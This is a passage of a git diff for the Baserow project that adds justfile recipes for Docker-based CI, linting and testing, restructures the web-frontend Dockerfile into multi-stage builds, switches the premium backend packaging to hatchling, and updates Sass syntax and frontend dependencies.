only +# just ci test # Test both +# just ci test frontend # Test frontend only +# just ci run # Full pipeline for both +# just ci run backend # Full pipeline for backend only +[group('6 - ci')] +[doc("CI Docker: just ci [backend|frontend]")] +ci cmd="" target="": + #!/usr/bin/env bash + set -euo pipefail + + # Helper: should we run for backend? + run_backend() { + [[ -z "{{ target }}" || "{{ target }}" == "backend" || "{{ target }}" == "b" ]] + } + + # Helper: should we run for frontend? + run_frontend() { + [[ -z "{{ target }}" || "{{ target }}" == "frontend" || "{{ target }}" == "f" ]] + } + + # Build backend CI image + build_backend() { + echo "Building backend CI image..." + docker build -t {{ ci_backend_image }} -f backend/Dockerfile --target ci . + echo "Backend CI image built: {{ ci_backend_image }}" + } + + # Build frontend CI image + build_frontend() { + echo "Building frontend CI image..." + docker build -t {{ ci_frontend_image }} -f web-frontend/Dockerfile --target ci . + echo "Frontend CI image built: {{ ci_frontend_image }}" + } + + # Lint backend + lint_backend() { + build_backend + echo "Running lint in backend CI image..." + docker run --rm {{ ci_backend_image }} lint + } + + # Lint frontend + lint_frontend() { + build_frontend + echo "Running lint in frontend CI image..." + docker run --rm {{ ci_frontend_image }} lint + } + + # Test backend (needs postgres + redis) + test_backend() { + build_backend + + # Create a temporary network for the test + NETWORK="baserow-ci-test-$$" + + # Clean up any leftover containers from previous runs + docker rm -f ci-test-db ci-test-redis 2>/dev/null || true + + cleanup() { + echo "Cleaning up..." + docker rm -f ci-test-db ci-test-redis 2>/dev/null || true + docker network rm "$NETWORK" 2>/dev/null || true + } + trap cleanup EXIT + + echo "Creating test network..." + docker network create "$NETWORK" 2>/dev/null || true + + echo "Starting PostgreSQL..." + docker run -d --name ci-test-db --network "$NETWORK" \ + -e POSTGRES_USER=baserow \ + -e POSTGRES_PASSWORD=baserow \ + -e POSTGRES_DB=baserow \ + ${test_db_image} + + echo "Starting Redis..." + docker run -d --name ci-test-redis --network "$NETWORK" \ + redis:7 redis-server --requirepass baserow + + # Wait for postgres to be ready + echo "Waiting for PostgreSQL to be ready..." + for i in {1..30}; do + if docker exec ci-test-db pg_isready -U baserow > /dev/null 2>&1; then + echo "PostgreSQL is ready!" + break + fi + if [ $i -eq 30 ]; then + echo "PostgreSQL failed to start" + exit 1 + fi + sleep 1 + done + + # Wait for redis to be ready + echo "Waiting for Redis to be ready..." + for i in {1..30}; do + if docker exec ci-test-redis redis-cli -a baserow ping 2>/dev/null | grep -q PONG; then + echo "Redis is ready!" + break + fi + if [ $i -eq 30 ]; then + echo "Redis failed to start" + exit 1 + fi + sleep 1 + done + + # Run tests + echo "Running tests in backend CI image..." + docker run --rm --network "$NETWORK" \ + -e DATABASE_HOST=ci-test-db \ + -e DATABASE_PORT=5432 \ + -e DATABASE_NAME=baserow \ + -e DATABASE_USER=baserow \ + -e DATABASE_PASSWORD=baserow \ + -e REDIS_HOST=ci-test-redis \ + -e REDIS_PORT=6379 \ + -e REDIS_PASSWORD=baserow \ + -e PYTEST_SPLITS=1 \ + -e PYTEST_SPLIT_GROUP=1 \ + {{ ci_backend_image }} ci-test + } + + # Test frontend (no external services needed) + test_frontend() { + build_frontend + echo "Running tests in frontend CI image..." + docker run --rm {{ ci_frontend_image }} ci-test + } + + # Full pipeline for backend + run_backend_pipeline() { + echo "=== Running backend CI pipeline ===" + echo "" + echo "Step 1/2: Lint" + lint_backend + echo "" + echo "Step 2/2: Tests" + test_backend + echo "" + echo "=== Backend CI pipeline completed successfully ===" + } + + # Full pipeline for frontend + run_frontend_pipeline() { + echo "=== Running frontend CI pipeline ===" + echo "" + echo "Step 1/2: Lint" + lint_frontend + echo "" + echo "Step 2/2: Tests" + test_frontend + echo "" + echo "=== Frontend CI pipeline completed successfully ===" + } + + case "{{ cmd }}" in + build) + if run_backend; then build_backend; fi + if run_frontend; then build_frontend; fi + ;; + lint) + if run_backend; then lint_backend; fi + if run_frontend; then lint_frontend; fi + ;; + test) + if run_backend; then test_backend; fi + if run_frontend; then test_frontend; fi + ;; + run) + if run_backend; then run_backend_pipeline; fi + if run_frontend; then run_frontend_pipeline; fi + ;; + *) + echo "CI Docker commands for testing in containers" + echo "" + echo "Usage: just ci [target]" + echo "" + echo "Commands:" + echo " build Build CI Docker image(s)" + echo " lint Build and run lint checks" + echo " test Build and run tests" + echo " run Run full CI pipeline (build + lint + test)" + echo "" + echo "Targets (optional, defaults to both):" + echo " backend, b Backend only" + echo " frontend, f Frontend only" + echo "" + echo "Examples:" + echo " just ci build # Build both CI images" + echo " just ci build backend # Build backend CI image only" + echo " just ci lint frontend # Lint frontend only" + echo " just ci test # Test both" + echo " just ci run backend # Full pipeline for backend" + [[ -n "{{ cmd }}" ]] && exit 1 || exit 0 + ;; + esac diff --git a/local.just.example b/local.just.example new file mode 100644 index 0000000000..5a3b317dee --- /dev/null +++ b/local.just.example @@ -0,0 +1,31 @@ +# Personal Justfile Recipes +# ======================== +# Copy this file to `local.just` to add your own custom recipes. +# The file is gitignored, so your personal recipes won't be committed. +# +# You can also create local.just in backend/ or web-frontend/ for +# component-specific personal recipes. + +# Example: Quick test for a specific module +my-test: + just b test tests/baserow/core/ + +# Example: Start only what you need (services + backend, no frontend) +my-dev: + #!/usr/bin/env bash + just dc-dev up -d redis db mailhog + just b run-dev-server + +# Example: Custom database reset +my-db-reset: + just dc-dev exec db psql -U baserow -c "DROP SCHEMA public CASCADE; CREATE SCHEMA public;" + just b migrate + +# Example: Open shell with custom imports +my-shell: + just b manage shell_plus --print-sql + +# Example: Run your favorite linter combination +my-lint: + just b lint + just f lint diff --git a/premium/backend/pyproject.toml b/premium/backend/pyproject.toml index 9b35039e47..f04043e499 100644 --- a/premium/backend/pyproject.toml +++ b/premium/backend/pyproject.toml @@ -1,6 +1,6 @@ [build-system] -requires = ["setuptools>=61.0"] -build-backend = "setuptools.build_meta" +requires = ["hatchling"] +build-backend = "hatchling.build" [project] name = "baserow-premium" @@ -10,8 +10,8 @@ description = """Baserow is an open source no-code database tool and Airtable \ technical expertise. Build a table and define custom fields \ like text, number, file and many more.""" # mixed license -license={file="LICENSE"} -requires-python=">=3.11" +license = { file = "../LICENSE" } +requires-python = "==3.11.*" version = "2.0.6" classifiers = [] @@ -22,6 +22,9 @@ Documentation = "https://baserow.io/user-docs" Support = "https://community.baserow.io/" Changelog = "https://github.com/baserow/baserow/blob/develop/changelog.md" +[tool.hatch.build.targets.wheel] +packages = ["src/baserow_premium"] + [tool.black] exclude = ''' /( @@ -29,13 +32,3 @@ exclude = ''' | generated )/ ''' - -[tool.setuptools] -include-package-data = true -# https://setuptools.pypa.io/en/latest/userguide/pyproject_config.html -platforms = ["Linux"] - -[tool.setuptools.packages.find] -where = ["src/"] -include = ["baserow_premium", "baserow_premium.*"] - diff --git a/premium/backend/tests/baserow_premium_tests/generative_ai/test_managers.py b/premium/backend/tests/baserow_premium_tests/generative_ai/test_managers.py index c252ea443d..572e7f7998 100644 --- a/premium/backend/tests/baserow_premium_tests/generative_ai/test_managers.py +++ b/premium/backend/tests/baserow_premium_tests/generative_ai/test_managers.py @@ -1,6 +1,9 @@ +import os from io import BytesIO from unittest.mock import Mock +from django.conf import settings + import pytest from baserow_premium.generative_ai.managers import AIFileManager @@ -47,7 +50,7 @@ def test_upload_files_from_file_field(premium_data_fixture, django_assert_num_qu assert len(generative_ai_model_type._files) == 1 assert generative_ai_model_type._files[file_ids[0]]["file_name"].endswith( - f"/baserow/media/user_files/{user_file_1.name}" + os.path.join(settings.MEDIA_ROOT, f"user_files/{user_file_1.name}") ) diff --git a/web-frontend/.stylelintrc.js b/web-frontend/.stylelintrc.js index cca221c57b..e214f0f3a8 100644 --- a/web-frontend/.stylelintrc.js +++ b/web-frontend/.stylelintrc.js @@ -41,6 +41,8 @@ module.exports = { 'return', 'extend', 'for', + 'use', + 'forward', ], }, ], diff --git a/web-frontend/Dockerfile b/web-frontend/Dockerfile index d08ff63d7a..33f9bb708d 100644 --- a/web-frontend/Dockerfile +++ b/web-frontend/Dockerfile @@ -1,90 +1,275 @@ -FROM node:24-bookworm AS base +# syntax=docker/dockerfile:1.4 +ARG UID="9999" +ARG GID="9999" +# ============================================================================= +# Builder for su-exec (replaces gosu, smaller footprint) +# Pinned to v0.2 (commit 212b75144bbc) with SHA256 verification +# ============================================================================= +FROM debian:bookworm-slim AS tool-builder + +SHELL ["/bin/bash", "-o", "pipefail", "-c"] + +ENV SU_EXEC_VERSION=212b75144bbc06722fbd7661f651390dc47a43d1 \ + SU_EXEC_SHA256=d6c40440609a23483f12eb6295b5191e94baf08298a856bab6e15b10c3b82891 + +# hadolint ignore=DL3008 +RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \ + --mount=type=cache,target=/var/lib/apt,sharing=locked \ + apt-get update && \ + apt-get install -y --no-install-recommends ca-certificates curl build-essential dos2unix tini && \ + curl -fsSL -o /usr/local/bin/su-exec.c "https://github.com/ncopa/su-exec/raw/${SU_EXEC_VERSION}/su-exec.c" && \ + echo "${SU_EXEC_SHA256} /usr/local/bin/su-exec.c" | sha256sum -c - && \ + gcc -Wall -Werror -static -o /usr/local/bin/su-exec /usr/local/bin/su-exec.c && \ + chmod 0755 /usr/local/bin/su-exec + + +# ============================================================================= +# CI builder stage +# ============================================================================= +FROM node:24-bookworm-slim AS builder-ci ARG UID -ENV UID=${UID:-9999} ARG GID -ENV GID=${GID:-9999} -ENV NODE_OPTIONS=--openssl-legacy-provider +SHELL ["/bin/bash", "-o", "pipefail", "-c"] -# Perform all OS package installation and cleanup in one single command to reduce the -# size of the created layer. -RUN apt-get update && \ - apt-get upgrade -y && \ - apt-get install -y --no-install-recommends \ - build-essential \ - curl \ - gnupg2 \ - dos2unix \ - tini \ - git \ - && apt-get autoclean \ - && apt-get clean \ - && apt-get autoremove \ - && rm -rf /var/lib/apt/lists/* - -# Install su-exec as a safer alternative to gosu -RUN curl -L -o /usr/local/bin/su-exec.c https://github.com/ncopa/su-exec/raw/master/su-exec.c \ - && gcc -Wall -Werror -static -o /usr/local/bin/su-exec /usr/local/bin/su-exec.c \ - && chmod 0755 /usr/local/bin/su-exec \ - && rm /usr/local/bin/su-exec.c - -# The node image already creates a non-root user to run as, update its ids so they -# match the provided UID and GID we wish to build and run this image with. -# If GID or UID already exist that's OK no need to stop the build. -RUN groupmod -g ${GID} node || exit 0 -RUN usermod -u ${UID} -g ${GID} node || exit 0 -ENV DOCKER_USER=node -ENV BASEROW_IMAGE_TYPE="web-frontend" +ENV YARN_CACHE_FOLDER=/tmp/.yarn-cache + +RUN mkdir -p /baserow/web-frontend /baserow/premium/web-frontend /baserow/enterprise/web-frontend && \ + chown -R $UID:$GID /baserow USER $UID:$GID +WORKDIR /baserow/web-frontend -# Create and install the dependencies in separate COPY commands -COPY --chown=$UID:$GID ./web-frontend/package.json ./web-frontend/yarn.lock /baserow/web-frontend/ +# Install dependencies (including dev) +RUN --mount=type=cache,target=$YARN_CACHE_FOLDER,uid=$UID,gid=$GID,sharing=locked \ + --mount=type=bind,source=web-frontend/package.json,target=/baserow/web-frontend/package.json \ + --mount=type=bind,source=web-frontend/yarn.lock,target=/baserow/web-frontend/yarn.lock \ + yarn install --pure-lockfile --cache-folder $YARN_CACHE_FOLDER -WORKDIR /baserow/web-frontend +# ============================================================================= +# Production builder stage +# ============================================================================= +FROM node:24-bookworm-slim AS builder-prod +ARG UID +ARG GID + +SHELL ["/bin/bash", "-o", "pipefail", "-c"] + +ENV YARN_CACHE_FOLDER=/tmp/.yarn-cache \ + NUXT_TELEMETRY_DISABLED=1 \ + NODE_OPTIONS="--max-old-space-size=4096" \ + NODE_ENV=production + +RUN mkdir -p /baserow/web-frontend /baserow/premium/web-frontend /baserow/enterprise/web-frontend && \ + chown -R $UID:$GID /baserow/ + +# Copy source code COPY --chown=$UID:$GID ./web-frontend /baserow/web-frontend/ COPY --chown=$UID:$GID ./premium/web-frontend /baserow/premium/web-frontend/ COPY --chown=$UID:$GID ./enterprise/web-frontend /baserow/enterprise/web-frontend/ -COPY --chown=$UID:$GID ./deploy/plugins/*.sh /baserow/plugins/ -RUN dos2unix /baserow/web-frontend/docker/docker-entrypoint.sh && \ - chmod a+x /baserow/web-frontend/docker/docker-entrypoint.sh +# Copy all dependencies so we can build the production files +COPY --chown=$UID:$GID --from=builder-ci /baserow/web-frontend/node_modules /baserow/web-frontend/node_modules + +COPY --link --from=tool-builder /usr/bin/dos2unix /usr/local/bin/dos2unix +RUN dos2unix /baserow/web-frontend/docker/docker-entrypoint.sh \ + && chmod a+x /baserow/web-frontend/docker/docker-entrypoint.sh \ + && chown $UID:$GID /baserow/web-frontend/docker/docker-entrypoint.sh + +USER $UID:$GID +WORKDIR /baserow/web-frontend + +# Build, then clean reinstall production only +RUN --mount=type=cache,target=$YARN_CACHE_FOLDER,uid=$UID,gid=$GID,sharing=locked \ + yarn run build-local \ + && find .nuxt -type f -name "*.map" -delete + + +# ============================================================================= +# CI target - used in CI pipelines +# ============================================================================= +FROM node:24-bookworm-slim AS ci +ARG UID +ARG GID + +SHELL ["/bin/bash", "-o", "pipefail", "-c"] + +ENV DOCKER_USER=baserow_docker_user \ + BASEROW_IMAGE_TYPE="web-frontend" + +RUN groupadd --system --gid $GID ${DOCKER_USER} && \ + useradd --shell /bin/bash -u $UID -g $GID -o -c "" -d /baserow -m ${DOCKER_USER} + +COPY --link --from=tool-builder /usr/local/bin/su-exec /usr/local/bin/su-exec +COPY --link --from=tool-builder /usr/bin/tini /usr/bin/tini +COPY --from=busybox:musl /bin/wget /usr/local/bin/wget + +RUN mkdir -p /baserow/web-frontend/.cache /baserow/reports /baserow/.cache /baserow/.yarn /baserow/web-frontend/reports/coverage && \ + chown -R $UID:$GID /baserow + +# Copy dependencies and source code +COPY --chown=$UID:$GID web-frontend /baserow/web-frontend +COPY --chown=$UID:$GID premium/web-frontend /baserow/premium/web-frontend +COPY --chown=$UID:$GID enterprise/web-frontend /baserow/enterprise/web-frontend/ + +COPY --link --from=builder-ci /baserow/web-frontend/node_modules /baserow/web-frontend/node_modules +COPY --link --from=builder-prod /baserow/web-frontend/.nuxt /baserow/web-frontend/.nuxt + +COPY --chown=$UID:$GID tests /baserow/tests +COPY --chown=$UID:$GID deploy/plugins/*.sh /baserow/plugins/ + +USER $UID:$GID +WORKDIR /baserow/web-frontend -# tini installed above protects us from zombie processes and ensures the default signal -# handlers work, see https://github.com/krallin/tini. ENTRYPOINT ["/usr/bin/tini", "--", "/bin/bash", "/baserow/web-frontend/docker/docker-entrypoint.sh"] -HEALTHCHECK --interval=60s CMD ["curl", "-f", "http://localhost:3000/_health/"] -EXPOSE 3000 +HEALTHCHECK --interval=60s CMD wget -q -O /dev/null http://localhost:3000/_health/ || exit 1 +CMD ["nuxt-local"] + + +# ============================================================================= +# Development target - used for local development with live reload +# ============================================================================= +FROM node:24-bookworm-slim AS dev +ARG UID +ARG GID + +SHELL ["/bin/bash", "-o", "pipefail", "-c"] + +# hadolint ignore=DL3008 +RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \ + --mount=type=cache,target=/var/lib/apt,sharing=locked \ + apt-get update && \ + apt-get upgrade -y && \ + apt-get install -y --no-install-recommends \ + ca-certificates \ + python3 \ + python3-pip \ + build-essential \ + curl \ + wget \ + tmux \ + vim \ + sudo + +ENV DOCKER_USER=baserow_docker_user \ + BASEROW_IMAGE_TYPE="web-frontend" \ + PATH="/baserow/web-frontend/node_modules/.bin:$PATH" \ + YARN_CACHE_FOLDER=/tmp/.yarn-dev-cache + +# Install rust-just for running justfiles +RUN pip3 install --break-system-packages rust-just + +COPY --link --from=tool-builder /usr/local/bin/su-exec /usr/local/bin/su-exec +COPY --link --from=tool-builder /usr/bin/tini /usr/bin/tini +COPY --link --from=tool-builder /usr/bin/dos2unix /usr/local/bin/dos2unix + +RUN getent group $GID || groupadd --system --gid $GID ${DOCKER_USER} && \ + useradd --shell /bin/bash -l -u $UID -g $GID -o -c "" -d /baserow -m ${DOCKER_USER} && \ + echo "${DOCKER_USER} ALL=(ALL) NOPASSWD:ALL" > /etc/sudoers.d/${DOCKER_USER} && \ + chmod 0440 /etc/sudoers.d/${DOCKER_USER} -FROM base AS dev +RUN mkdir -p /baserow/web-frontend /baserow/premium/web-frontend /baserow/enterprise/web-frontend && \ + chown -R $UID:$GID /baserow +USER $UID:$GID WORKDIR /baserow/web-frontend -# Install dev dependencies for running nuxt dev + tests. -RUN yarn install && yarn cache clean +# Configure tmux to preserve environment variables (don't start login shell) +RUN echo 'set -g default-command "${SHELL}"' > /baserow/.tmux.conf + +# Create .bashrc with environment variables for interactive shells +RUN printf '%s\n' \ + '# Aliases' \ + 'alias j="just"' \ + 'alias y="yarn"' \ + '' \ + '# Show a helpful message' \ + 'echo "Baserow frontend dev container"' \ + 'echo " y - Run yarn commands"' \ + 'echo " j - See available commands"' \ + > /baserow/.bashrc + +COPY --chown=$UID:$GID web-frontend/docker/docker-entrypoint.sh /baserow/web-frontend/docker/docker-entrypoint.sh -COPY --chown=$UID:$GID ./tests /baserow/tests/ +RUN dos2unix /baserow/web-frontend/docker/docker-entrypoint.sh \ + && chmod a+x /baserow/web-frontend/docker/docker-entrypoint.sh -# Create symlinks for jest tests -RUN ln -s /baserow/web-frontend/node_modules/ /baserow/premium/web-frontend/node_modules \ - && ln -s /baserow/web-frontend/node_modules/ /baserow/enterprise/web-frontend/node_modules +COPY --chown=$UID:$GID web-frontend/package.json /baserow/web-frontend/package.json +COPY --chown=$UID:$GID web-frontend/yarn.lock /baserow/web-frontend/yarn.lock -# We don't bother running build-local in dev mode as it pre-compiles nuxt which won't -# be used when running the nuxt dev server. +# Install dependencies (including dev) +RUN --mount=type=cache,target=$YARN_CACHE_FOLDER,uid=$UID,gid=$GID,sharing=locked \ + yarn install --pure-lockfile --cache-folder $YARN_CACHE_FOLDER + +ENTRYPOINT ["/usr/bin/tini", "--", "/bin/bash", "/baserow/web-frontend/docker/docker-entrypoint.sh"] +HEALTHCHECK --interval=60s CMD wget -q -O /dev/null http://localhost:3000/_health/ || exit 1 CMD ["nuxt-dev"] -FROM base AS local -# Run the nuxt build and then remove all dev dependencies as we don't need them after. -RUN yarn install \ - && yarn run build-local \ - && rm -rf node_modules \ - && yarn install --production \ - && yarn cache clean \ - && find node_modules -type f \( -name "*.o" -o -name "*.a" \) -delete \ - && find node_modules -type d \( -name "test" -o -name "tests" -o -name "__tests__" -o -name "example" -o -name "examples" -o -name "doc" -o -name "docs" \) -prune -exec rm -rf '{}' + \ - && find .nuxt -type f -name "*.map" -delete +# ============================================================================= +# Production target - minimal image with only runtime requirements +# ============================================================================= +FROM node:24-bookworm-slim AS local-base +ARG UID +ARG GID + +SHELL ["/bin/bash", "-o", "pipefail", "-c"] + +ENV DOCKER_USER=baserow_docker_user \ + BASEROW_IMAGE_TYPE="web-frontend" \ + NODE_ENV=production \ + YARN_CACHE_FOLDER=/tmp/.yarn-cache + +COPY --link --from=tool-builder /usr/bin/dos2unix /usr/local/bin/dos2unix +COPY --link --from=tool-builder /usr/local/bin/su-exec /usr/local/bin/su-exec +COPY --link --from=tool-builder /usr/bin/tini /usr/bin/tini +COPY --from=busybox:musl /bin/wget /usr/local/bin/wget + +RUN groupadd --system --gid $GID ${DOCKER_USER} && \ + useradd --shell /bin/bash -u $UID -g $GID -o -c "" -d /baserow -m ${DOCKER_USER} + +USER $UID:$GID +RUN mkdir -p /baserow/web-frontend +WORKDIR /baserow/web-frontend + +# Install dependencies first (cached unless package.json/yarn.lock change) +RUN --mount=type=cache,target=$YARN_CACHE_FOLDER,uid=$UID,gid=$GID,sharing=locked \ + --mount=type=bind,source=web-frontend/package.json,target=/baserow/web-frontend/package.json \ + --mount=type=bind,source=web-frontend/yarn.lock,target=/baserow/web-frontend/yarn.lock \ + yarn install --production --pure-lockfile --cache-folder $YARN_CACHE_FOLDER \ + # Clean up unnecessary files to reduce image size + && find node_modules -type f -name "*.map" -delete \ + && find node_modules -type f \( \ + -name "*.md" -o -name "*.markdown" \ + -o -name "*.ts" -o -name "*.d.ts" \ + -o -name "LICENSE*" -o -name "license*" -o -name "License*" \ + -o -name "CHANGELOG*" -o -name "HISTORY*" \ + -o -name ".npmignore" -o -name ".gitignore" -o -name ".eslintrc*" \ + \) -delete \ + && find node_modules -type d \( \ + -name "test" -o -name "tests" -o -name "__tests__" \ + -o -name "example" -o -name "examples" \ + -o -name "doc" -o -name "docs" \ + -o -name ".github" \ + \) -prune -exec rm -rf {} + + +COPY --chown=$UID:$GID web-frontend /baserow/web-frontend +COPY --chown=$UID:$GID premium/web-frontend /baserow/premium/web-frontend +COPY --chown=$UID:$GID enterprise/web-frontend /baserow/enterprise/web-frontend/ +COPY --chown=$UID:$GID ./deploy/plugins/*.sh /baserow/plugins/ + +HEALTHCHECK --interval=60s CMD wget -q -O /dev/null http://localhost:3000/_health/ || exit 1 +ENTRYPOINT ["/usr/bin/tini", "--", "/bin/bash", "/baserow/web-frontend/docker/docker-entrypoint.sh"] + +FROM local-base AS local + +COPY --link --from=builder-prod /baserow/web-frontend/.nuxt /baserow/web-frontend/.nuxt + CMD ["nuxt-local"] + +FROM local AS prod + +CMD ["nuxt-local"] \ No newline at end of file diff --git a/web-frontend/config/nuxt.config.base.js b/web-frontend/config/nuxt.config.base.js index e8df51d515..2910a0645b 100644 --- a/web-frontend/config/nuxt.config.base.js +++ b/web-frontend/config/nuxt.config.base.js @@ -52,7 +52,23 @@ export default function ( logErrors: true, }, }, + buildDir: process.env.NUXT_BUILD_DIR || '.nuxt', build: { + cache: true, + cacheDirectory: process.env.NUXT_CACHE_DIR || 'node_modules/.cache', + loaders: { + scss: { + sassOptions: { + silenceDeprecations: [ + 'legacy-js-api', + 'import', + 'global-builtin', + 'slash-div', + ], + quietDeps: true, + }, + }, + }, extend(config, ctx) { config.node = { fs: 'empty' } config.module.rules.push({ @@ -79,6 +95,7 @@ export default function ( 'vue-chartjs', 'chart.js', '@vue2-flow/core', + 'pathe', ], }, } diff --git a/web-frontend/docker/docker-entrypoint.sh b/web-frontend/docker/docker-entrypoint.sh index 71c73b25b7..958922fdc2 100755 --- a/web-frontend/docker/docker-entrypoint.sh +++ b/web-frontend/docker/docker-entrypoint.sh @@ -101,22 +101,22 @@ case "$1" in exec yarn run storybook ;; lint) - exec make lint-javascript + exec yarn lint ;; lint-fix) attachable_exec yarn run eslint --fix ;; eslint) - exec make eslint + exec yarn eslint ;; stylelint) - exec make eslint + exec yarn stylelint ;; test) - exec make jest + exec yarn test ;; ci-test) - exec make ci-test-javascript + exec yarn test-coverage ;; bash) exec /bin/bash -c "${@:2}" diff --git a/web-frontend/justfile b/web-frontend/justfile new file mode 100644 index 0000000000..13a009bf35 --- /dev/null +++ b/web-frontend/justfile @@ -0,0 +1,151 @@ +# Baserow Web-Frontend Justfile +# NOTE: All recipes here must work the same inside Docker and on local dev setups +# without requiring any changes. Please make sure to not add docker-specific +# commands or assumptions here. +# Uses yarn for Node.js package management + +# Import personal recipes if they exist (not tracked in git) +import? 'local.just' + +# Note: just doesn't support dynamic dotenv-filename, so we handle env loading in recipes +_load_env := 'if [ -f "../.env.local" ]; then set -a; source "../.env.local"; set +a; fi' + +# Default recipe - show help +default: + @just --list + +# Show documentation links for each command group +[group('0 - help')] +help: + @echo "Baserow Web-Frontend - Documentation Links" + @echo "===========================================" + @echo "" + @echo "Setup & Development:" + @echo " docs/development/running-the-dev-env-locally.md - Local development setup" + @echo " docs/development/running-the-dev-env-with-docker.md - Docker development setup" + @echo " docs/development/directory-structure.md - Project structure" + @echo "" + @echo "Testing:" + @echo " docs/development/running-tests.md - Running frontend tests" + @echo " docs/development/e2e-testing.md - End-to-end testing" + @echo "" + @echo "Code Quality:" + @echo " docs/development/code-quality.md - Linting and formatting" + @echo "" + @echo "Build & Production:" + @echo " docs/development/building-and-running-production-images.md - Production images" + @echo "" + @echo "IDE Setup:" + @echo " docs/development/vscode-setup.md - VS Code configuration" + @echo "" + @echo "Other:" + @echo " docs/development/justfile.md - Just command reference" + @echo "" + @echo "Quick shortcuts: l=lint, t=test, dev=run-dev-server" + +# Allow `just frontend ` or `just f ` to work (for consistency with root justfile) +frontend *ARGS: + @just {{ ARGS }} + +alias f := frontend + +# Common shortcuts +alias l := lint +alias t := test +alias dev := run-dev-server +alias serve := run-dev-server + +# Pass-through to yarn +[group('7 - passthrough')] +yarn *ARGS: + yarn {{ ARGS }} + +# Pass-through to npm +[group('7 - passthrough')] +npm *ARGS: + npm {{ ARGS }} + +# ============================================================================= +# Setup & Installation +# ============================================================================= + +# Install dependencies +[group('1 - setup')] +install: + yarn install + +# ============================================================================= +# Code Quality & Linting +# ============================================================================= + +# Run all linters (eslint + stylelint) +[group('4 - code-quality')] +lint: + yarn run eslint + yarn run stylelint + yarn run prettier --check 'modules/**/*.scss' + +# Fix code style issues +[group('4 - code-quality')] +fix: + yarn run fix + +# Format SCSS files with Prettier +[group('4 - code-quality')] +format-scss: + yarn run prettier --write 'modules/**/*.scss' + +# ============================================================================= +# Testing +# ============================================================================= + +# Run tests +[group('3 - testing')] +test *ARGS: + yarn test {{ ARGS }} + +# Run tests with coverage (for CI) +[group('3 - testing')] +ci-test: + yarn test-coverage + +# Update Jest snapshots +[group('3 - testing')] +update-snapshots: + yarn run jest --updateSnapshot + +# ============================================================================= +# Development +# ============================================================================= + +# Run development server +[group('2 - development')] +run-dev-server: + #!/usr/bin/env bash + set -euo pipefail + {{ _load_env }} + yarn run dev + +# Run Storybook +[group('2 - development')] +storybook: + yarn run storybook + +# Build Nuxt for production +[group('5 - build')] +build-nuxt: + yarn run build-local + +# ============================================================================= +# Cleanup +# ============================================================================= + +# Clean Nuxt build artifacts +[group('6 - cleanup')] +clean-nuxt: + rm -rf .nuxt/ dist/ + +# Clean all (Nuxt build artifacts + node_modules) +[group('6 - cleanup')] +clean-all: clean-nuxt + rm -rf node_modules/ diff --git a/web-frontend/modules/core/assets/scss/colors.scss b/web-frontend/modules/core/assets/scss/colors.scss index 7ab75de28e..04a8bd2132 100644 --- a/web-frontend/modules/core/assets/scss/colors.scss +++ b/web-frontend/modules/core/assets/scss/colors.scss @@ -1,3 +1,5 @@ +@use 'sass:string'; + $white: #fff; $black: #000; @@ -247,6 +249,6 @@ $colors: ( // const color = styles["darker-gray"] :export { @each $color, $value in $colors { - #{unquote($color)}: $value; + #{string.unquote($color)}: $value; } } diff --git a/web-frontend/modules/core/assets/scss/components/grid.scss b/web-frontend/modules/core/assets/scss/components/grid.scss index ecf80b0122..fa89e836ca 100644 --- a/web-frontend/modules/core/assets/scss/components/grid.scss +++ b/web-frontend/modules/core/assets/scss/components/grid.scss @@ -1,3 +1,5 @@ +@use 'sass:math'; + .row { box-sizing: border-box; display: flex; @@ -16,11 +18,11 @@ @for $i from 1 through $grid-columns { .col-#{$i} { - flex-basis: 100% / $grid-columns * $i; - max-width: 100% / $grid-columns * $i; + flex-basis: math.div(100%, $grid-columns) * $i; + max-width: math.div(100%, $grid-columns) * $i; } .col-offset-#{$i} { - margin-left: 100% / $grid-columns * $i; + margin-left: math.div(100%, $grid-columns) * $i; } } diff --git a/web-frontend/modules/core/assets/scss/icons.scss b/web-frontend/modules/core/assets/scss/icons.scss index 67118958bd..edf089b5b5 100644 --- a/web-frontend/modules/core/assets/scss/icons.scss +++ b/web-frontend/modules/core/assets/scss/icons.scss @@ -7,7 +7,7 @@ /* prettier-ignore */ %icon { /* stylelint-disable-next-line scss/at-extend-no-missing-placeholder, scss/operator-no-unspaced */ - @extend *[class^="iconoir-"]; + @extend *, [class^=iconoir-]; } /* prettier-ignore */ diff --git a/web-frontend/package.json b/web-frontend/package.json index 87f75e6c73..5f5b4ed84d 100644 --- a/web-frontend/package.json +++ b/web-frontend/package.json @@ -16,7 +16,7 @@ "eslint": "eslint -c .eslintrc.js --cache --cache-location=.cache/eslint --ext .js,.vue . ../premium/web-frontend ../enterprise/web-frontend", "lint": "yarn eslint && yarn stylelint", "fix": "yarn prettier **/*.js **/*.vue **/*.scss --cache --cache-location=.cache/prettier -w && yarn eslint --fix && yarn stylelint --fix", - "stylelint": "stylelint **/*.scss ../premium/web-frontend/modules/**/*.scss ../enterprise/web-frontend/modules/**/*.scss", + "stylelint": "stylelint --cache --cache-location=.cache/stylelint **/*.scss ../premium/web-frontend/modules/**/*.scss ../enterprise/web-frontend/modules/**/*.scss", "test-core": "TZ=UTC jest --verbose false --config jest.config.js", "test-premium": "TZ=UTC jest --verbose false --config ../premium/web-frontend/jest.config.js", "test-enterprise": "TZ=UTC jest --verbose false --config ../enterprise/web-frontend/jest.config.js", @@ -32,7 +32,6 @@ "@nuxtjs/composition-api": "^0.34.0", "@nuxtjs/i18n": "7.3.1", "@nuxtjs/sentry": "7.5.0", - "@storybook/core-client": "6.5.9", "@tiptap/core": "^2.14.0", "@tiptap/extension-blockquote": "^2.14.0", "@tiptap/extension-bold": "^2.14.0", @@ -81,8 +80,10 @@ "chart.js": "3.9.1", "chartjs-adapter-moment": "1.0.1", "cookie-universal-nuxt": "2.2.2", + "core-js": "^3.34.0", "cross-env": "^7.0.2", "flush-promises": "^1.0.2", + "form-data": "4.0.4", "highlight.js": "^11.11.1", "iconoir": "^6.11.0", "jwt-decode": "^3.1.2", @@ -94,7 +95,6 @@ "moment": "^2.30.1", "moment-guess": "^1.2.4", "moment-timezone": "0.5.43", - "node-sass": "9.0.0", "normalize-scss": "^7.0.1", "nuxt": "2.18.1", "papaparse": "5.4.1", @@ -109,8 +109,7 @@ "uuid": "9.0.0", "vue-chartjs": "^5.3.2", "vue2-smooth-scroll": "^1.6.0", - "vuejs-datepicker": "1.6.2", - "form-data": "4.0.4" + "vuejs-datepicker": "1.6.2" }, "resolutions": { "elliptic": "^6.6.1", @@ -135,6 +134,7 